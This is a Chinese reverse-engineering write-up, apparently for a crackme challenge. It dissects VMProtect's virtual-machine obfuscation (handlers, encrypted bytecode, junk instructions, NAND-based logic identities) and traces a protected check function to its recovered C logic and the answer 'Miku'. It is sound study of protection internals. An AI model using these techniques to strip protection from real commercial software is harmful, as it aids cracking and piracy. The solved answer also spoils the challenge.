VMP虚拟机自行维护了一个自己的栈和变量空间(虚拟寄存器),rsp+xxx为对变量空间的寻址(和局部变量位置差不多一样),对于虚拟栈,可以理解为VMP在堆内开辟的,并将其栈顶指针在虚拟机内部初始化过程中赋予随机的一个寄存器(对于本程序来说,是rbx),VMP将源程序的代码段进行了“虚拟化”,虚拟到了它自己特有的指令集,并有一套自己的指令字节码和虚拟寄存器对应规则(相当于你在你的x86电脑上模拟执行ARM代码),再加上vmp是基于栈的OISC类虚拟机(vmp的万用门,这个待会会介绍),这就使得代码逆向还原变得非常困难,所以我也是搞了一日一夜,晚交了这份报告...

VMP对你的代码进行虚拟化中,会把汇编指令功能性拆解,分割成它的“基本”指令,基本指令是
vNand(...)
vNor(...)
vPush(Imm64,Imm32,Imm16,vReg64,vReg32,vReg16, [mem])
vPop(vReg64,vReg32,vReg16, [mem])
vExit
vEnter
...
vPush其实是把一个数据推入它的vStack,不是rsp指向的stack,vPop其实是把一个数据从vStack中弹出
这些指令,单独一条叫做一个handler,VMP2.x中的架构是中心Dispatcher,然后解密字节码,然后调用各个handler,handler返回到中心Dispatcher,这就导致了很多vmp2.x自动化脚本的出现,导致vmp2.x不安全。
VMP3.x完美避开了这一个缺陷,它把Dispatcher进行了“去中心化”,分配到了每个handler的尾部...详情看:0x1 指令执行。

对了,你会发现你常见的xor or and not在上面的handler中从未出现,这是由于这几个指令可以“模拟”它们,详情看 0x4 万用门

0x1 VMProtect虚拟机的指令执行

本文只对本程序进行讨论,VMProtect进行保护后的程序寄存器用途均是随机。
在本程序中,我们可以看到这样的代码

000000000048EA7D          | 4C:8B9C24 900000 | mov r11,qword ptr ss:[rsp+90]                     |
000000000048EA85          | 41:F7DB          | neg r11d                                          |
000000000048EA8F          | 41:FFC3          | inc r11d                                          |
000000000048EA99          | 41:F7D3          | not r11d                                          |
000000000048EA9F          | 41:81C3 1E688979 | add r11d,7989681E                                 |
000000000048EAAA          | 4C:03DA          | add r11,rdx                                       | rdx:&L"\n"
000000000048EB01          | 49:81EB 04000000 | sub r11,4                                         |
000000000048EB11          | 41:8B0B          | mov ecx,dword ptr ds:[r11]                        |
...

通过我的观察,我注意到了,r11寄存器来源是虚拟机外初始化的一个值,而中间对r11的操作就是在“解密”这个值,最后这个值指向的内存其实就是vmp的字节码,用于每次取一个值,然后其实ecx在后面也要进行解密:

000000000048EB11          | 41:8B0B          | mov ecx,dword ptr ds:[r11]                        |
000000000048EB1B          | 33CB             | xor ecx,ebx                                       |
000000000048EB1E          | C1C9 02          | ror ecx,2                                         |
0000000000429D22          | FFC1             | inc ecx                                           |
00000000004635A8          | 0FC9             | bswap ecx                                         |
00000000004635AB          | C1C9 02          | ror ecx,2                                         |

00000000004635B4          | 310C24           | xor dword ptr ss:[rsp],ecx                        |
00000000004635B7          | 5B               | pop rbx                                           |

00000000004635BB          | 4C:03D1          | add r10,rcx                                       |

00000000004FCB73          | 41:52            | push r10                                          |
00000000004FCB75          | C3               | ret                                               |

注意到最后有个add r10, rcx
其实r10是指向本handler首部的一个指针,rcx是解密后的,本handler首部指针和目标handler头部指针的相对位置。
push addr
ret
其实就是jmp addr(不过貌似在哪里见过,内核编程中要注意push+ret好像不清cpu缓存啥的,比jmp快一点?)
这种每一个handler跳转一次使得无法在静态调试下确定下一个handler是谁。

你可能注意到了xor [rsp], ecx pop rbx这个,这个实际上在“保存异或状态”,从而下一轮可以接着上一次加密后的Key来解密下一个handler(这就使得静态调试的时候无法对加密的字节码进行解密,加大了破解难度)。

0x2 VMProtect的指令混淆(掺垃圾)

这个实际上不是花指令,VMP壳中压根不给你玩花指令,而是无效指令。
比如说这段指令:

mov rdi,qword ptr ds:[rbx]
*add cx,4375
*movsx ecx,r9w
*rol cl,cl
mov r9w,word ptr ss:[rdi]
*and cl,r8b
*shl ecx,cl
*movsx ecx,r15w
add rbx,6
*movsxd rcx,ebp
*shld cx,r13w,B3
*sub cl,r15b
mov word ptr ds:[rbx],r9w
*movsx ecx,sp
*btc ecx,r10d
sub rsi,4
*sbb cx,34EE
*shrd rcx,r14,81
mov ecx,dword ptr ds:[rsi]

注意到rcx相关操作,观察到最后一行直接mov ecx, xxx,导致上面对rcx寄存器的操作全是无效的。我们直接就化简掉了13条*指令,得到如下指令

mov rdi,qword ptr ds:[rbx]
mov r9w,word ptr ss:[rdi]
add rbx,6
mov word ptr ds:[rbx],r9w
sub rsi,4
mov ecx,dword ptr ds:[rsi]

经过我长达几个小时的逆向过程,我逐渐熟悉了vmp的垃圾指令的样子,所以我现在一眼扫过去就能自动屏蔽掉垃圾之指令(很酷是不是?你也来试试吧!)

0x3 vStack

VMP的虚拟化栈是一个它自己创建的一块内存空间,VMP如果要执行vNAND(a,b),它的handler执行顺序大概是:
vPUSH(b)
vPUSH(a)
vNAND ; 这个函数没有传入东西,因为它依赖于vm流程中的vStack
函数执行完后会把Rflag入栈,result则在栈上的a或b位置上
vStore(flag)
处理result
...
比如vNAND:
r9d = '4'
ebp = 0x3

not r9d
not ebp
and r9d, ebp

r9d = 0xffffffc8

- stack -
$+0 | rflag
$+4 | NAND_result
    |
    |

这大致就是它在执行完毕后栈的样子!

特别地,在vmp虚拟机初始化的时候,它会把进入虚拟机前的所有通用寄存器(这里不是vReg,而是rax,rbx,...,r8-r15)统统入栈(这个栈就是rsp指向的),然后再进行vStore,将栈上的元素储存到它的vReg中,其中,vReg的寻址是:
0000000000440C06 | 4C:890C34 | mov qword ptr ss:[rsp+rsi],r9 |
注意到rsp是栈顶指针,rsi则是一个偏移,分析后可以知道rsi是从r11中拿出来的并且解密后的,所以你无法预测vmp将要把它存在哪里,重要的是,vmp会进行“寄存器轮转”,运行一段时间vm后将原先的寄存器映射关系换一下,这就使得变量映射关系更加扑朔迷离,不好解决。

下面我们来讨论一下vPUSH,假设rbx是vStack栈顶指针

我从加密程序中扣取了一块vPUSH handler的trace,我们来观看一下

sub r10, 1
sal bpl, 0x78
# movzx r11d, byte ptr [r10]
xor r11b, dil
clc
xor dx, bp
shl bpl, cl
neg r11b
rol dx, 0x4f
and ebp, ebp
xor ebp, 0x2706db4
add r11b, 0x1c
sal dh, cl
cmp dx, dx
btr rbp, r10
neg r11b
rol r11b, 1
cmp r8w, 0x55bd
mov dl, 0x2f
movzx dx, r12b
add r11b, 0xe3
bts rdx, rdi
xor dil, r11b
add bp, r9w
# mov rdx, qword ptr [rsp + r11]
cmp rdi, rsi
rol bp, cl
mov ebp, r15d
# sub rbx, 8
# mov qword ptr [rbx], rdx
or bpl, 0x5d
sub r10, 4
bswap bp
rcl rbp, 0x2f
movsx rbp, bp
mov ebp, dword ptr [r10]
jmp 0x48a4c3
xor ebp, edi
bswap ebp
jmp 0x497dbe
rol ebp, 1
cmc
neg ebp
ror ebp, 1
stc
jmp 0x4264d3
push rdi
ror dil, cl
xor dword ptr [rsp], ebp
movsx rdi, bx
cmp r13b, r8b
pop rdi
test dil, r15b
cmp di, r15w
movsxd rbp, ebp
test dh, 0x3e
clc
add rsi, rbp
jmp 0x4c80fc
jmp 0x416a25
lea rcx, [rsp + 0x140]
cmp rbx, rcx
jmp 0x47d6bf
ja 0x429b99
jmp rsi
sub r10, 8

打#号的其实是核心指令,注意到他先从r11中拿出了偏移,然后进行了vLoad,之后给了栈8个字节大小,并存入了栈顶。其他指令除了垃圾,就是解密,是堆栈溢出检查或者是计算下一个handler并进行跳转。

0x4 万用门

这里资料很多了,我直接给出链接

1、万用门实现逻辑指令
理论知识:

vmp里面只有1个逻辑运算指令 not_not_and 设这条指令为P

P(a,b) = ~a & ~b

这条指令的神奇之处就是能模拟 not and or xor 4条常规的逻辑运算指令

怕忘记了,直接给出公式,后面的数字指需要几次P运算

not(a) = P(a,a) 1

and(a,b) = P(P(a,a),P(b,b)) 3

or(a,b) = P(P(a,b),P(a,b)) 2

xor(a,b) = P(P(P(a,a),P(b,b)),P(a,b)) 5
————————————————
版权声明:本文为CSDN博主「鱼无伦次」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/u014738665/article/details/120722455

但是除了上面的内容,我在代码还原的时候还观察到了

(a & ~(a & b)) ?= a ^ b
这个等式只在a = True 的时候成立
~(~a + b) = a - b
这个等式也是vmp将cmp进行虚拟化的等式,因为cmp b, a其实就是sub b, a 然后看rflags
~a + 1 = -a
最重要的一个,异或化简
a   b        ~(a | ~b) | ~(~a | b)
0   1        1
1   0        1
1   1        0
0   0        0

所以 ~(a | ~b) | ~(~a | b) == a ^ b !!!!

这个式子其实还有一种写法,就是根据 德·摩根定律
~(a & b) = ~a | ~b
~(a | b) = ~a & ~b
把位运算改成并集交集补集就是集合版本的 德·摩根定律,上过高中的同学应该在选择题里面天天见到。

0x5 vReg

这个部分其实我们在0x3 vStack中谈到了,如有忘记请回顾
# mov rdx, qword ptr [rsp + r11]

0x6 正式开始

好了,相信你一定对VMProtect逆向充满了兴趣,不过首先介于这个函数没有进行全函数保护,主函数保护,反调试,代码变异,这个还是很相 对 容 易的,被vmp保护的其他程序就不要想了,老老实实当作黑箱处理吧!

好的,我们首先在vm函数外下一个断点,在vm函数后下一个断点
就是这两行2024-07-03T04:36:51.png

然后跑起来,随便输入点文本,如mnbv(我刚开始试的1234,之后trace文件坏了,就重新输入了,搞的时候是不知道结果是4字符的!),注意到输入的字符开始地址是 0x000000000070FE17,我们记录下来,然后开始x64-dbg trace,之后进行trace分析。
2024-07-03T04:37:11.png
这里我直接追踪了500000行,如果最后不是断下来的,那么就说明还没trace够,继续接着trace。

trace完后,进行分析:
2024-07-03T04:37:22.png
定位到我们的输入(mnbv)中的m,发现很多搜索结果(其实除了第二个,其他都是strlen函数!)
2024-07-03T04:37:29.png
我们定位过去,发现它被投入了vStack...,然后继续往下浏览,发现到:
2024-07-03T04:37:38.png
说明我们的'm'被存到了[rsp+r11]的vReg中,由于我们是trace,可以继续搜索谁在这之后对其进行了READ操作,于是我再次定位到了它:
2024-07-03T04:37:46.png
它又被推到了栈上,往下翻(大约在61024)行,注意到'm'又被读取并上栈了
2024-07-03T04:37:55.png
下一个handler,vSHR
2024-07-03T04:38:02.png
这个相当于右移了7位,我们无从推测是check函数内部的真实代码,还是vmp进行检查。不过我认为如果结果不是0,那么它就不是正常ascii码!随后数据进行了存储,我没有追对于rfl的检验,因为完全没有必要,我们需要关心的是数据如何变化。
接下来的过程,就是非常耗时间的人工trace了,在这之中我先是还原出来了:

('m' & ~('m' & 0)) | ~'9')

随后,我对第二个字符进行逆向的时候,发现在'a'之前,还有一段对a的操作,由于在第一个索引(0)下失效了,并且后面我还观察到了1,2(索引2,3),我更加确信我的想法:运算中有一个i存在!
我继续进行代码还原,然后还原出了:

~(~(~(('m' & ~('m' & 0)) | ~'9') | ~(~('m' & ~('m' & 0)) | '9') + ~'1') + 'B')

我注意到,~(a | ~b) | ~(~a | b)

所以代码化简为:

~(~((   ('m' & ~('m' & 0))    ^ '9') + ~'1') + 'B')

进一步:

~(~((   'm' ^ 0    ^ '9') + ~'1') + 'B')

进一步:注意到~(~a + b) = a - b

'm' ^ 0 ^ '9' - 50 - 'B'

`
其实这就是vmp的比较逻辑,vmp通过判断这个表达式的结果是否为0,来判断值是否正确,这里的50经过对0~3的数据观察,均不变,'9'也均不变,而0和'B'会进行变化,其中0是索引值!'B'值每一个特有的,经过我最后的冲刺,成功逆向出4个值的对应的'B'
`

0x42('B') 0x1f 0x1e 0x1d

这下,我们可以大致"还原" 最终c语言代码:

bool check(char *input) {
    const char key[4] = {0x42, 0x1f, 0x1e, 0x1d};
    auto len = strlen(input);
    bool result = true;
    for (int i = 0; i < len; i++) {
        if ((input[i] ^ '9' ^ i) - 50 != key[i]) {
            result = false;
        }
    }

    return result;
}

显然
Miku为此函数的唯一解。